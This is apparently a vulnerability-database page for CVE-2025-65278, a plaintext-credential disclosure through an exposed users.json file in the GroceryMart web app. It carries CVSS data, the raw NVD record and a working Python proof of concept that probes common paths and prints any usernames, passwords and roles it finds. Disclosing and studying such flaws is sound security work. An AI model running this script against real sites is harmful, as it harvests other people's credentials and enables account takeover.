Security Vulnerability Report
中文
CVE-2025-65278 CVSS 7.5 HIGH

CVE-2025-65278

Published: 2025-11-26 20:15:50
Last Modified: 2025-12-30 15:23:55

Description

An issue was discovered in file users.json in GroceryMart commit 21934e6 (2020-10-23) allowing unauthenticated attackers to gain sensitive information including plaintext usernames and passwords.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:komal97:grocerymart:2020-10-23:*:*:*:*:*:*:* - VULNERABLE
GroceryMart commit 21934e6 (2020-10-23) 及之前未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65278 PoC - GroceryMart Information Disclosure # Description: Unauthenticated access to users.json containing plaintext credentials import requests import json import sys def exploit_cve_2025_65278(target_url): """ Exploit for CVE-2025-65278: GroceryMart users.json Information Disclosure Target: GroceryMart application Vulnerability: Unauthenticated access to sensitive users.json file Impact: Disclosure of plaintext usernames and passwords """ print(f"[*] Targeting: {target_url}") print("[*] Exploiting CVE-2025-65278 - Information Disclosure\n") # Common paths where users.json might be located paths = [ "/users.json", "/data/users.json", "/config/users.json", "/api/users.json", "/assets/users.json", "/static/users.json" ] found_credentials = [] for path in paths: url = target_url.rstrip('/') + path print(f"[*] Trying: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! Found sensitive file at: {url}") try: users_data = response.json() print(f"[+] Parsed JSON data with {len(users_data)} user(s)\n") for user in users_data: username = user.get('username', user.get('email', 'N/A')) password = user.get('password', 'N/A') role = user.get('role', 'user') print(f" Username: {username}") print(f" Password: {password}") print(f" Role: {role}") print("-" * 50) found_credentials.append({ 'url': url, 'username': username, 'password': password, 'role': role }) except json.JSONDecodeError: print(f"[!] Response is not valid JSON") print(f"[!] Content preview: {response.text[:200]}...") except requests.RequestException as e: print(f"[!] Request failed: {e}") if found_credentials: print(f"\n[!] VULNERABLE - Found {len(found_credentials)} credential(s)") print("[!] These credentials can be used for further attacks") return True else: print("\n[-] Target may not be vulnerable or users.json not found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-65278.py <target_url>") print("Example: python cve-2025-65278.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_65278(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65278", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:49.803", "lastModified": "2025-12-30T15:23:55.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in file users.json in GroceryMart commit 21934e6 (2020-10-23) allowing unauthenticated attackers to gain sensitive information including plaintext usernames and passwords."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:komal97:grocerymart:2020-10-23:*:*:*:*:*:*:*", "matchCriteriaId": "66B70FFC-8861-43CA-AC0A-392088B27AF9"}]}]}], "references": [{"url": "https://gist.github.com/whoisrushi/7e8d15c85221e3f708b7b480e04ab6ca", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}